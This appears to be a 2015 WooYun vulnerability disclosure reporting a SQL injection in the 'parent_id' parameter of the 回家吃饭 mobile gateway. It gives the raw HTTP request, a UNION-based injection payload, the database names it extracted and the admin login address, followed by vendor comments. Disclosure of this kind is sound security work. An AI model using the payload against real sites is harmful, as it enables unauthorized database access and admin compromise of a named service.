当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156847

漏洞标题：回家吃饭sql注入可进后台

相关厂商：回家吃饭

漏洞作者： 哈利油

提交时间：2015-11-30 23:24

修复时间：2016-01-14 23:26

公开时间：2016-01-14 23:26

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-30： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

POST /gateway?api=/URegion/getChildrenRegion HTTP/1.1
Host: m.jiashuangkuaizi.com
Content-Length: 36
Accept: */*
Origin: http://m.jiashuangkuaizi.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://m.jiashuangkuaizi.com/Public/joinSubmitPer?status=normal&title=
%E6%88%91%E8%A6%81%E5%BD%93%E5%AE%B6%E5%8E%A8&jskz_mallow=new
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: Hm_lvt_5fc7a4e16cf8378153a8da1775e99178=1448737125,1448737132; 
Hm_lpvt_5fc7a4e16cf8378153a8da1775e99178=1448737132; 
Hm_lvt_c6f843390498b7faad340219f7db55dd=1448737189,1448737341,1448737358,1448737363; 
Hm_lpvt_c6f843390498b7faad340219f7db55dd=1448737368; flavor=user_app
parent_id=110100&jskz_mallow=current


parent_id参数存在sql注入。

漏洞证明：

Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: parent_id=110100 UNION ALL SELECT NULL,CONCAT(0x71716a7671,0x6a556c4d4f496350776d,0x7176717171),NULL-- &jskz_mallow=current
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL-- 
---
back-end DBMS: MySQL >= 5.0.0
available databases [7]:
[*] distr
[*] dwz
[*] information_schema
[*] jskz
[*] mysql
[*] performance_schema
[*] stats


后台地址：http://admin.jiashuangkuaizi.com/Public/login

修复方案：

自行处理吧

版权声明：转载请注明来源 哈利油@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评价

  1. 2016-01-22 18:36 | 北京加双筷子科技有限公司(乌云厂商)

    @xsser 才看到，这个怎么认领

  2. 2016-01-26 20:58 | 北京加双筷子科技有限公司(乌云厂商)

    感谢关注回家吃饭，问了一下小秘书，忽略已公开的漏洞无法认领，对此我们也很遗憾，欢迎提交新的漏洞，高RANK